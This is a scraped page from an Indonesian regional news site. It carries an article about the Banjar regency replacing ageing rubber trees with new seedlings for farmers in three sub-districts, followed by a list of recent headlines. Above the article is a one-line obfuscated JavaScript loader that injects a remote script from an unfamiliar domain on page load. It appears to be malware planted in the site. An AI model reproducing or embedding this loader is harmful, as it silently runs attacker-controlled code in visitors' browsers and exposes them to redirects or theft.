(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pertanian

Pohon Karet Sudah Tak Lagi Produktif, Petani Tiga Kecamatan Dapat Bibit Baru


MARTAPURA, Produktifitas pohon karet menghasilkan lateks menyusut seiring bertambahnya usia pohon. Rata-rata, usia produktif pohon karet antara 25-30 tahun. Lebih dari itu, lateks yang dihasilkan berkurang.

Mengatasi itu, peremajaan pohon menjadi solusi akhir para petani. Membantu para petani meremajakan pohon karet, Dinas Peternakan dan Perkebunan (Disnakbun) Kabupaten Banjar melakukan peremajaan tanaman karet milik petaniyang tak lagi produktif. Tujuannya agar komoditi unggulan Kabupaten Banjar ini tetap dapat diandalkan.

Kepala Disbunak Kabupaten Banjar H Dondit Bekti mengatakan, peremajaan tanaman karet telah dilakukan di tiga kecamatan. Yakni di Kecamatan Pengaron, Mataraman, dan Karang Intan. Bantuan yang diberikan berupa bibit karet siap tanam.

“Biaya peremajaan yang cukup besar, perlu campur tangan pemerintah. Menggunakan anggaran APBN Perubahan 2017, Dinas Peternakan dan Perkebunan telah melakukan peremajaan tanaman karet rakyat di tiga kecamatan tersbeut,” kata Dondit di sela kegiatan pengarahan lapangan yang dihadiri para petani di Kecamatan Karang Intan.

Menurutnya, peremajaan tanaman karet dilakukan di kebun-kebun milik petani yang tak produktif lagi. Pohon karet tua ditebang dan dibongkar akarnya. Sedangkan kayu karet yang ditebang bias dimanfaatkan warga sebagai kayu bakar.

Lebih lanjut disampaikan Dondit, proses peremajaan tanaman karet diperlukan proses pemupukan terlebih dulu. Itu karena tanah bekas tanaman lama berkurang unsur haranya.

“Tanaman karet dengan nama latin Hevea brasilliensis ini merupakan tanaman tahunan dengan ritme masa peremajaan sekitar 25 tahun. Karena itu pemilihan bibit tanaman juga harus dilakukan cermat untuk mendapatkan hasil getah karet yang baik,” kata Dondit.

Sebelum menerima bantuan bibit, Dondit menyampaikan, proses penanaman harus sesuai standard ketenuan, di antaranya jarak tanam 18m x 2m x 2,5m dengan volume 440 batang/hektare, pupuk NPK 200 kg/hektare, fungisida 2 liter/hektare, herbisida 3 liter/hektare, dan knapsack sprayer.


Desy Arfianty

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

8 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

11 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

15 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

15 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

15 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

16 jam ago

This website uses cookies.